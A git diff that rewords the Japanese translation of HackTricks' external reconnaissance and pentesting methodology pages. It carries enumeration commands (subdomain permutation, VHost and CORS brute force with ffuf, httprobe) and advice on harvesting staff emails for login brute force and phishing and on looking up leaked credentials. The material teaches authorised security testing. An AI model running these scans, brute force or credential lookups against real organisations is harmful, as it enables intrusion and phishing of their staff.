|
||||
|
@ -390,21 +390,21 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): サブドメインの順列を生成するだけでなく、それらを解決しようともします(ただし、以前にコメントされたツールを使用する方が良いです)。
|
||||
* altdnsの順列は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)から取得できます。
|
||||
* altdnsの順列の**ワードリスト**は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、変更を実行する別のツール。このツールは結果を総当たり攻撃します(DNSワイルドカードはサポートされていません)。
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、変更を実行する別のツール。このツールは結果を総当たり攻撃します(dnsワイルドカードはサポートされていません)。
|
||||
* [**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)からdmutの順列ワードリストを入手できます。
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** ドメインに基づいて、指定されたパターンに基づいて**新しい潜在的なサブドメイン名を生成**し、さらに多くのサブドメインを発見しようとします。
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** ドメインに基づいて、指定されたパターンに基づいて新しい潜在的なサブドメイン名を生成し、より多くのサブドメインを発見しようとします。
|
||||
|
||||
#### スマートな順列生成
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 詳細については、この[**投稿**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてさらに多くのサブドメインを見つけようとします。
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 詳細については、この[**post**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてさらに多くのサブドメインを見つけます。
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
|
@ -424,7 +424,7 @@ echo www | subzuf facebook.com
|
|||
|
||||
### **VHosts / バーチャルホスト**
|
||||
|
||||
サブドメインに関連する**1つ以上のウェブページを含むIPアドレス**を見つけた場合、そのIP内の**他のサブドメインを見つける**ために、**OSINTソース**でIP内のドメインを検索するか、そのIP内のVHostドメイン名を**ブルートフォースで探す**ことができます。
|
||||
サブドメインに属する**1つ以上のウェブページを含むIPアドレス**を見つけた場合、そのIP内の他のサブドメインを探すことができます。これは、IP内のドメインを検索するために**OSINTソース**を調べるか、そのIP内のVHostドメイン名を**ブルートフォース**で探すことができます。
|
||||
|
||||
#### OSINT
|
||||
|
||||
|
@ -452,25 +452,25 @@ VHostScan -t example.com
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
時々、有効なドメイン/サブドメインが _**Origin**_ ヘッダーに設定されている場合にのみ _**Access-Control-Allow-Origin**_ ヘッダーを返すページが見つかります。 これらのシナリオでは、この動作を悪用して、新しい **サブドメイン** を**発見**することができます。
|
||||
時々、有効なドメイン/サブドメインが _**Origin**_ ヘッダーに設定されている場合にのみ _**Access-Control-Allow-Origin**_ ヘッダーを返すページが見つかります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン** を**発見**することができます。
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **バケットのブルートフォース**
|
||||
|
||||
**サブドメイン**を探している間に、それがどの種類の**バケット**を**指しているか**を確認し、その場合は[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)**してください**。\
|
||||
また、この時点ではスコープ内のすべてのドメインを把握しているため、[**可能なバケット名をブルートフォースし、権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
||||
**サブドメイン**を探している間に、それがどの種類の**バケット**を指しているかを確認し、その場合は[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)**してください。**\
|
||||
また、この時点でスコープ内のすべてのドメインを把握しているため、[**可能なバケット名をブルートフォースし、権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
||||
|
||||
### **モニタリング**
|
||||
|
||||
**ドメイン**の**新しいサブドメイン**が作成されたかどうかを**モニタリング**することができます。これは**証明書透過性**ログを監視する[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)が行います。
|
||||
**ドメイン**の**新しいサブドメイン**が作成されたかどうかを**モニタリング**することができます。**Certificate Transparency**ログを監視することで、[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)が行います。
|
||||
|
||||
### **脆弱性の検索**
|
||||
### **脆弱性の探索**
|
||||
|
||||
可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)をチェックしてください。\
|
||||
**サブドメイン**が**S3バケット**を指している場合は、[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
||||
|
||||
アセットの発見で見つけたIPとは異なる**IPを持つサブドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\
|
||||
アセットの発見で見つけたIPと異なるIPを持つ**サブドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**nmap/masscan/shodan**を使用した[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\
|
||||
_サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外にある可能性があることに注意してください。_
|
||||
|
||||
## IPs
|
||||
|
@ -478,100 +478,100 @@ _サブドメインがクライアントによって制御されていないIP
|
|||
初期段階で**いくつかのIP範囲、ドメイン、およびサブドメイン**を見つけたかもしれません。\
|
||||
これらの範囲から**すべてのIPを再収集**し、**ドメイン/サブドメイン(DNSクエリ)**を行う時がきました。
|
||||
|
||||
以下の**無料API**を使用すると、ドメインとサブドメインが以前に使用したIPを見つけることもできます。これらのIPはクライアントが所有している可能性があります(そして[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つけることができるかもしれません)
|
||||
以下の**無料API**を使用すると、ドメインとサブドメインが以前に使用したIPを見つけることもできます。これらのIPはクライアントが所有している可能性があり([**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つけることができるかもしれません)
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
ツール[hakip2host](https://github.com/hakluke/hakip2host)を使用して特定のIPアドレスを指すドメインをチェックすることもできます。
|
||||
また、ツール[hakip2host](https://github.com/hakluke/hakip2host)を使用して特定のIPアドレスを指すドメインをチェックすることもできます。
|
||||
|
||||
### **脆弱性の検索**
|
||||
### **脆弱性の探索**
|
||||
|
||||
CDNに属さないすべてのIPを**ポートスキャン**してください(そこに興味深いものはほとんど見つからない可能性が高いです)。発見された実行中のサービスで**脆弱性を見つける**ことができるかもしれません。
|
||||
CDNに属さないすべてのIPに**ポートスキャン**を実行してください(そこに興味深いものはほとんど見つからない可能性が高いです)。発見された実行中のサービスで**脆弱性を見つける**ことができるかもしれません。
|
||||
|
||||
**ホストをスキャンする方法についての**[**ガイド**](../pentesting-network/) **を見つけてください。**
|
||||
|
||||
## Webサーバーの探索
|
||||
|
||||
> すべての企業とその資産を見つけ、IP範囲、ドメイン、およびスコープ内のサブドメインを把握しています。Webサーバーを検索する時がきました。
|
||||
> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、およびサブドメインを把握しています。Webサーバーを検索する時がきました。
|
||||
|
||||
前のステップでおそらくすでに発見したIPとドメインの**調査**を実行しているかもしれませんので、**すでに可能なすべてのWebサーバー**を見つけているかもしれません。しかし、まだ見つけていない場合は、スコープ内のWebサーバーを検索するための**高速なトリック**を見ていきます。
|
||||
前のステップでおそらくすでに発見したIPとドメインの**調査**を実行しているかもしれませんので、**すでに可能なWebサーバーをすべて見つけているかもしれません**。しかし、まだ見つけていない場合は、スコープ内のWebサーバーを検索するための**高速なトリック**を見ていきます。
|
||||
|
||||
これは**Webアプリの発見**に向けられているため、スコープで**許可されている場合**は**脆弱性**と**ポートスキャン**も実行する必要があります。
|
||||
これは**Webアプリの発見**に向けられているため、スコープ内で**脆弱性**と**ポートスキャン**も実行する必要があります(**スコープ内で許可されている場合**)。
|
||||
|
||||
[**masscanを使用して関連するオープンポートを見つける**](../pentesting-network/#http-port-discovery) **高速な方法**がここにあります。\
|
||||
Webサーバーを探すためのもう1つの便利なツールは[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe) **および**[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すと、ポート80(http)および443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます。
|
||||
[**masscanを使用して**関連する**Web**サーバーの**オープンポートを発見する**高速な方法はこちらにあります](../pentesting-network/#http-port-discovery)。\
|
||||
Webサーバーを探すためのもう1つの便利なツールは[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)、および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すと、ポート80(http)および443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます。
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **スクリーンショット**
|
||||
|
||||
スコープ内のすべてのWebサーバー(企業のIPアドレス、すべてのドメイン、サブドメインの中のIPアドレス)を発見したので、おそらくどこから始めればよいかわからないでしょう。ですので、単純にすべてのWebサイトのスクリーンショットを撮影してみましょう。メインページを見るだけで、脆弱性を持ちやすい奇妙なエンドポイントを見つけることができます。
|
||||
スコープ内の企業のIPアドレスやすべてのドメインとサブドメインの中に存在する**すべてのWebサーバー**を発見したので、**どこから始めればいいかわからない**かもしれません。ですので、単純にすべてのWebサーバーのスクリーンショットを撮影してみましょう。**メインページ**を見るだけで、**脆弱性**が**より高い**奇妙なエンドポイントを見つけることができます。
|
||||
|
||||
提案されたアイデアを実行するために、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)を使用できます。
|
||||
|
||||
さらに、その後に[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべてのスクリーンショットを実行し、脆弱性を含む可能性の高いものとそうでないものを教えてもらうことができます。
|
||||
さらに、その後に[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、**スクリーンショット**全体を実行し、**脆弱性を含む可能性が高いもの**とそうでないものを特定できます。
|
||||
|
||||
## パブリッククラウド資産
|
||||
|
||||
企業に属する潜在的なクラウド資産を見つけるためには、その企業を識別するキーワードのリストから始める必要があります。たとえば、暗号通貨企業の場合、"crypto"、"wallet"、"dao"、"<domain_name>"、<"subdomain_names">などの単語を使用できます。
|
||||
企業に属する潜在的なクラウド資産を見つけるためには、その企業を識別するためのキーワードのリストから始める必要があります。たとえば、暗号通貨企業の場合、"crypto"、"wallet"、"dao"、"<domain_name>"、<"subdomain_names">などの単語を使用するかもしれません。
|
||||
|
||||
また、バケツで使用される一般的な単語のワードリストが必要です:
|
||||
また、バケツで使用される**一般的な単語のワードリスト**が必要です:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
その単語を使用して、パーミュテーションを生成する必要があります(詳細は[**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round)を参照)。
|
||||
その後、これらの単語を使用して**順列**を生成する必要があります(詳細は[**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round)を参照)。
|
||||
|
||||
生成されたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)、[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)、[**cloudlist**](https://github.com/projectdiscovery/cloudlist)、または[**S3Scanner**](https://github.com/sa7mon/S3Scanner)などのツールを使用できます。
|
||||
|
||||
クラウド資産を探す際には、AWSのバケツだけでなく、他のものも探す必要があります。
|
||||
クラウド資産を探す際には、**AWSのバケツだけでなく**、他のものも探す必要があります。
|
||||
|
||||
### **脆弱性を探す**
|
||||
|
||||
オープンなバケツや公開されたクラウド関数などが見つかった場合は、それらにアクセスして、提供されている内容を確認し、悪用できるかどうかを試してみてください。
|
||||
**オープンバケツや公開されたクラウド関数**などが見つかった場合は、それらに**アクセス**して、提供されている内容を確認し、悪用できるかどうかを試してみてください。
|
||||
|
||||
## メール
|
||||
|
||||
スコープ内のドメインとサブドメインがあれば、企業のメールアドレスを検索を開始するために必要なものがすべて揃っています。
|
||||
スコープ内の**ドメイン**と**サブドメイン**があれば、企業のメールアドレスを検索を開始するために必要なものがすべて揃っています。
|
||||
|
||||
企業のメールアドレスを見つけるために最も効果的だったAPIとツールは次のとおりです:
|
||||
企業のメールアドレスを見つけるために最も効果的だった**API**と**ツール**は次のとおりです:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - APIsを使用
|
||||
* [**https://hunter.io/**](https://hunter.io/)のAPI(無料版)
|
||||
* [**https://app.snov.io/**](https://app.snov.io/)のAPI(無料版)
|
||||
* [**https://minelead.io/**](https://minelead.io/)のAPI(無料版)
|
||||
- [**theHarvester**](https://github.com/laramies/theHarvester) - APIsを使用
|
||||
- [**https://hunter.io/**](https://hunter.io/)のAPI(無料版)
|
||||
- [**https://app.snov.io/**](https://app.snov.io/)のAPI(無料版)
|
||||
- [**https://minelead.io/**](https://minelead.io/)のAPI(無料版)
|
||||
|
||||
### **脆弱性を探す**
|
||||
|
||||
後でメールアドレスは、WebログインやSSHなどの認証サービスをブルートフォース攻撃するのに役立ちます。また、フィッシング攻撃にも必要です。さらに、これらのAPIは、メールアドレスの背後にいる人物についてのさらなる情報を提供してくれるため、フィッシングキャンペーンに役立ちます。
|
||||
後でメールは、WebログインやSSHなどの認証サービスを**ブルートフォース攻撃**するのに役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、メールアドレスの背後にいる**個人に関する情報**を提供してくれるため、フィッシングキャンペーンに役立ちます。
|
||||
|
||||
## 資格情報の漏洩
|
||||
|
||||
ドメイン、サブドメイン、およびメールアドレスを使用して、過去に漏洩した資格情報を探すことができます:
|
||||
**ドメイン**、**サブドメイン**、および**メールアドレス**を使用して、過去に漏洩した資格情報を探すことができます:
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
- [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **脆弱性を探す**
|
||||
|
||||
有効な漏洩した資格情報を見つけた場合、これは非常に簡単な勝利です。
|
||||
**有効な漏洩**された資格情報を見つけた場合、これは非常に簡単な勝利です。
|
||||
|
||||
## シークレットの漏洩
|
||||
|
||||
資格情報の漏洩は、企業のハッキングに関連し、機密情報が漏洩して販売されたものです。ただし、企業はそのデータベースにない情報が含まれる可能性のある他の漏洩にも影響を受けるかもしれません。
|
||||
資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業はそのデータベースにない情報が含まれる**他の漏洩**にも影響を受ける可能性があります:
|
||||
|
||||
### Githubの漏洩
|
||||
|
||||
資格情報やAPIが、企業の公開リポジトリやそのgithub企業の開発者のリポジトリに漏洩している可能性があります。\
|
||||
ツール[**Leakos**](https://github.com/carlospolop/Leakos)を使用して、組織とその開発者のすべての公開リポジトリをダウンロードし、自動的に[gitleaks](https://github.com/zricethezav/gitleaks)を実行できます。
|
||||
資格情報やAPIが、**企業**またはそのgithub企業の**ユーザー**の**パブリックリポジトリ**に漏洩している可能性があります。\
|
||||
ツール[**Leakos**](https://github.com/carlospolop/Leakos)を使用して、**組織**とその**開発者**の**パブリックリポジトリ**全体を**ダウンロード**し、自動的にそれらに[**gitleaks**](https://github.com/zricethezav/gitleaks)を実行できます。
|
||||
|
||||
**Leakos**は、渡されたURLのすべてのテキストに対して**gitleaks**を実行するためにも使用できます。
|
||||
**Leakos**は、**URLが渡されるときに**提供される**テキスト**全体に**gitleaks**を実行するためにも使用できます。
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
攻撃対象の組織で検索する可能性のある**github dorks**を見つけるために、この**ページ**もチェックしてください:
|
||||
攻撃対象となっている組織で検索する可能性のある**github dorks**を見つけるために、この**ページ**もチェックしてください:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
@ -579,41 +579,41 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
### ペーストの漏洩
|
||||
|
||||
攻撃者や作業者が企業のコンテンツをペーストサイトに公開することがあります。これには機密情報が含まれる可能性がありますが、含まれていない場合もあります。\
|
||||
攻撃者や単なる作業者が、企業のコンテンツをペーストサイトに**公開**することがあります。これには**機密情報**が含まれる場合も含まれる場合もありますが、それを検索することは非常に興味深いです。\
|
||||
80以上のペーストサイトで検索するために、ツール[**Pastos**](https://github.com/carlospolop/Pastos)を使用できます。
|
||||
|
||||
### Google Dorks
|
||||
|
||||
古くから使われているGoogle Dorksは、そこにあってはならない情報を見つけるのに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)には数千ものクエリが含まれており、手動で実行することはできないことです。したがって、お気に入りの10個を選ぶか、[**Gorks**](https://github.com/carlospolop/Gorks)のようなツールを使用してすべてを実行できます。
|
||||
古くからのGoogle Dorksは、**そこにあってはいけない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)には数千ものクエリが含まれており、手動で実行することはできません。したがって、お気に入りの10個を選択するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。
|
||||
|
||||
_通常のGoogleブラウザを使用してデータベース全体を実行しようとするツールは、Googleがすぐにブロックするため、決して終了しません。_
|
||||
_通常のGoogleブラウザを使用してデータベース全体を実行することを期待しているツールは、Googleが非常にすぐにブロックするため、決して終了しません。_
|
||||
|
||||
### **脆弱性を探す**
|
||||
|
||||
有効な漏洩した資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。
|
||||
**有効な漏洩**された資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。
|
||||
|
||||
## パブリックコードの脆弱性
|
||||
|
||||
企業がオープンソースコードを持っている場合、そのコードを分析して脆弱性を検索できます。
|
||||
企業が**オープンソースコード**を持っていることがわかった場合、そのコードを**分析**して**脆弱性**を検索できます。
|
||||
|
||||
**言語によって異なるツール**があります:
|
||||
**言語によって異なるツール**を使用できます:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
|
||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
また、以下のような無料のサービスを使用して**公開リポジトリをスキャン**することもできます:
|
||||
また、以下のような無料のサービスを使用して**パブリックリポジトリをスキャン**することもできます:
|
||||
|
||||
* [**Snyk**](https://app.snyk.io/)
|
||||
- [**Snyk**](https://app.snyk.io/)
|
||||
## [**Webペンテスト手法**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**バグハンター**によって見つかる**脆弱性の大部分**は**Webアプリケーション**内に存在するため、この時点で**Webアプリケーションのテスト手法**について話したいと思います。[**こちらでこの情報を見つけることができます**](../../network-services-pentesting/pentesting-web/)。
|
||||
**バグハンター**によって見つかる**脆弱性の大部分**は**Webアプリケーション**内に存在するため、この時点で**Webアプリケーションのテスト手法**について話したいと思います。詳細は[**こちらで見つけることができます**](../../network-services-pentesting/pentesting-web/)。
|
||||
|
||||
また、[**Web自動スキャナーのオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションに特別な言及をしたいと思います。なぜなら、非常に機密性の高い脆弱性を見つけることは期待できないかもしれませんが、**ワークフローに実装して初期のWeb情報を得るのに役立ちます**。
|
||||
また、[**Web Automated Scannersオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)セクションに特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることは期待できないかもしれませんが、**ワークフローに実装して初期のWeb情報を得るのに便利**です。
|
||||
|
||||
## 要点
|
||||
## 要約
|
||||
|
||||
> おめでとうございます!この時点で**すべての基本的な列挙**をすでに行っています。はい、基本的なものですが、さらに多くの列挙ができます(後でさらなるトリックを見ていきます)。
|
||||
> おめでとうございます!この時点で**すべての基本的な列挙**をすでに行っています。はい、基本的な列挙ですが、さらに多くの列挙ができます(後でさらなるトリックを見ていきます)。
|
||||
|
||||
したがって、すでに次のことを行っています:
|
||||
|
||||
|
@ -622,9 +622,9 @@ _通常のGoogleブラウザを使用してデータベース全体を実行し
|
|||
3. 企業に属する**すべてのドメイン**を見つけました
|
||||
4. ドメインの**すべてのサブドメイン**を見つけました(サブドメインの乗っ取りはありましたか?)
|
||||
5. スコープ内の**CDNからでないIP**を含むすべての**IP**を見つけました
|
||||
6. **すべてのWebサーバー**を見つけ、それらの**スクリーンショット**を撮りました(より詳しく調査する価値のある奇妙なものはありましたか?)
|
||||
6. **すべてのWebサーバー**を見つけ、**スクリーンショット**を取りました(深く調査する価値のある奇妙なものはありましたか?)
|
||||
7. 企業に属する**潜在的なパブリッククラウド資産**をすべて見つけました
|
||||
8. **簡単に大きな勝利をもたらす可能性のある** **メール**、**資格情報の漏洩**、および**秘密の漏洩**を見つけました
|
||||
8. **簡単に大きな勝利をもたらす可能性のあるメール**、**資格情報の漏洩**、および**秘密の漏洩**を見つけました
|
||||
9. 見つけたすべてのWebを**ペンテスト**しました
|
||||
|
||||
## **完全なRecon自動ツール**
|
||||
|
@ -640,9 +640,9 @@ _通常のGoogleブラウザを使用してデータベース全体を実行し
|
|||
|
||||
* [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)など
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の書き言葉と会話が必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の書き言葉と話し言葉が必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -652,10 +652,10 @@ _通常のGoogleブラウザを使用してデータベース全体を実行し
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、**ゼロからヒーローまでのAWSハッキングを学びましょう**!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じて、ゼロからヒーローまでのAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **会社をHackTricksで宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。
|
||||
- **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -32,57 +32,57 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
|
||||
### 1 - [ネットワーク内のホストの発見](pentesting-network/#discovering-hosts)/ [企業の資産の発見](external-recon-methodology/)
|
||||
|
||||
**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホスト**(内部テスト)を見つけるか、**会社の資産をインターネット上で見つける**かに興味があるかもしれません。
|
||||
